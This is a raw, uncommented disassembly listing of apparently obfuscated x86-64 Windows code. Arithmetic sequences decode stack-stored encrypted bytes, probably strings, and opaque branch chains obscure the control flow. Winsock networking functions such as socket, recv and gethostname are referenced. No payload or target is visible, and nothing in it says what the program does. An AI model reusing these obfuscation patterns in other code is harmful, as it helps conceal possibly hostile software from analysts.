add cl, r10b
mov byte [rbp + r11 + 0x20], cl
inc r8
dec r11
inc r11
jmp 0x140092603
add sil, 0x36
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x7a
dec r11
inc r11
jmp 0x140092603
lea edx, [rsi + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add sil, 0x7a
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x56
add r9b, sil
add r9b, dil
mov byte [rbp + r11 + 0x20], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140092603
lea rcx, [r11 + r12]
and r14b, cl
mov eax, 0x27
sub al, r14b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
add r10b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x140092600
add r10b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400925e5
lea rcx, [rbp + 0x15e1f58]
jmp 0x1400930f6
lea rcx, [rbp + 0xd381c2]
jmp 0x1400930f6
lea rcx, [rbp + 0x20]
call fcn.140097840
mov dword [rbp + 0x70], 0x8187846
mov dword [rbp + 0x74], 0x5c485e4a
mov dword [rbp + 0x78], 0x607724e
mov word [rbp + 0x7c], 0xbf52
mov byte [rbp + 0x7e], 0xb0
xor eax, eax
mov word [rbp + 0x7f], ax
mov byte [rbp + 0x81], al
movabs rsi, 0x1dca5be4d9226345
movabs r14, 0xc1d3b0ba2357d6d
movabs r12, 0xd0888341eff0b6e3
movabs r15, 0x595f13ae8b6729cf
movzx edi, byte [rsp + 0x40]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x140093c83
movzx r10d, byte [rbp + r11 + 0x70]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140093c7a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400931ac
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1d
jmp 0x1400931f3
je 0x140093c11
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093b91
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140093b66
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093b4b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140093b0d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140093ac9
movzx r9d, r11b
cmp r8, r11
ja 0x140093c71
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140093221
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140093260
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140093ab1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093a8e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140093a73
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093a56
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14009376b
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009374c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140093726
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140093703
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400936e4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400936c1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400936a4
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140093689
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140093669
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009363a
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x28]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140093c54
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140093c37
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140093429
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14009340e
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400933f3
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400935eb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140093577
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140093270
lea rbx, [r8 + 0x10]
lea r8, [rbx + 4]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140093548
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140093528
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14009350d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400934f0
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400934cd
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400934ae
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14009348b
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140093465
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140093446
lea rbx, [r8 + 2]
lea r8, [rbx + 0x61]
jmp 0x140093270
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x140093260
lea ecx, [r9 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
jmp 0x1400931f7
add r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4b
jmp 0x140093180
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093ae3
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
inc r8
dec r11
inc r11
jmp 0x140093166
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140093166
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093b27
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140093b78
sub r9b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
jmp 0x140093b78
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x140093ba7
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093bd0
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
cmp rbx, 2
jae 0x140093a16
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x140093934
lea edx, [r9 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x400
jb 0x140093a09
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140093ae3
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
lea rax, [rbx + r8]
cmp rax, 1
je 0x140093a34
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14009386c
lea ecx, [r9 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x17
jmp 0x14009358d
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093bd0
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x140093ba7
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x140093b78
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140093b78
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093b27
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
dec r11
inc r11
jmp 0x140093166
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140093166
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093ae3
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14009378f
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
jmp 0x140093601
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400937c4
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400937ec
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093ba7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140093815
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093b78
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140093839
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140093b27
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140093601
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140093166
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093890
lea ecx, [r9 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
jmp 0x140093ae3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400938bf
sub r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5d
inc r8
dec r11
inc r11
jmp 0x140093166
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400938e3
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x140093b27
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009390c
add r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xb
add rbx, r8
jmp 0x140093b78
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009358d
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x140093ba7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093969
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009398d
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140093ba7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400939b1
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x140093b27
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400939dd
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140093166
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400935be
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093ae3
mov byte [rbp + r11 + 0x70], dil
inc r11
jmp 0x140093166
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add dil, r10b
jmp 0x140093b27
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, r10b
add dil, dl
add dil, r10b
jmp 0x140093ba7
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x31
jmp 0x140093bd0
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x140093ba7
add r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xf
dec r11
inc r11
jmp 0x140093166
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x140093ae3
movzx r9d, r11b
lea ecx, [r9 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x55
add r9b, r10b
mov byte [rbp + r11 + 0x70], r9b
inc r8
dec r11
inc r11
jmp 0x140093166
movzx r9d, r11b
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x1b
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x70], r9b
add rbx, r8
jmp 0x140093b78
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
add rbx, r8
jmp 0x140093b78
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 5
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140093166
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x35
movzx r9d, r11b
sub r9b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x1f
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x57
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093166
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x140093163
add r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x140093153
lea rcx, [rbp + 0x15ab2cc]
jmp 0x140093c87
lea rcx, [rbp + 0xbd1611]
jmp 0x140093c87
lea rcx, [rbp + 0x70]
call fcn.140097840
mov dword [rbp + 0x90], 0x7e5e7238
mov dword [rbp + 0x94], 0x2360734
mov dword [rbp + 0x98], 0x33456730
mov word [rbp + 0x9c], 0x3736
mov byte [rbp + 0x9e], 0xce
xor eax, eax
mov qword [rbp + 0x9f], rax
mov byte [rbp + 0xa7], al
movabs r14, 0x1238f6b2a74a0724
movabs r12, 0x7f8ebee2930631fc
movabs r15, 0x36aae417f5de156c
movzx edi, byte [rsp + 0x40]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x1400948dc
movzx r10d, byte [rbp + r11 + 0x90]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400948d3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140093d4c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 4
jmp 0x140093d93
je 0x14009485b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400947cd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140094797
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140094755
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140094730
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400946e5
movzx r9d, r11b
cmp r8, r11
ja 0x1400948ca
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140093dc5
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093e10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400946da
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400946b1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009468b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009466e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009463f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140094361
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094346
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140094320
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400942fd
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140094409
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400942e0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400942c3
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400942a8
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14009428b
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14009425c
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140093e20
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400948aa
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14009488a
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x140094015
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x140093ff6
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140093fd7
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009420f
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400941cd
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14009418d
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140094162
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140093e20
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140094130
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140094110
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x1400940f1
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
ja 0x1400940d1
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400940b4
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140094099
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140094076
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140094050
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140094035
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140093e20
mov rbx, rcx
lea r8, [rcx + 6]
jmp 0x140093e20
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093e10
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093d97
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093d20
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140094703
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
inc r8
dec r11
inc r11
jmp 0x140093d03
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
dec r11
inc r11
jmp 0x140093d03
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140094773
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400947b1
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400947b4
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400947e9
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140094816
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x90], dil
inc r11
jmp 0x140093d03
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x61
jb 0x14009417d
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
mov edx, ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140094703
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 6
jae 0x140094607
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140094529
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
jmp 0x14009419c
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x140094629
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140094478
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400941e7
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x140094816
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400947e9
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400947b4
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x1400947b1
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x140093d03
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140093d03
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140094703
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14009437e
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
jmp 0x14009421e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400943b6
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400943da
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x1400947e9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094400
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x1400947b1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094424
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140094773
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140094450
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x140093d03
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140094229
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140094703
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009449c
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140094703
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400944c2
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400947ae
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400944ea
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400947e9
lea rax, [r8 + 9]
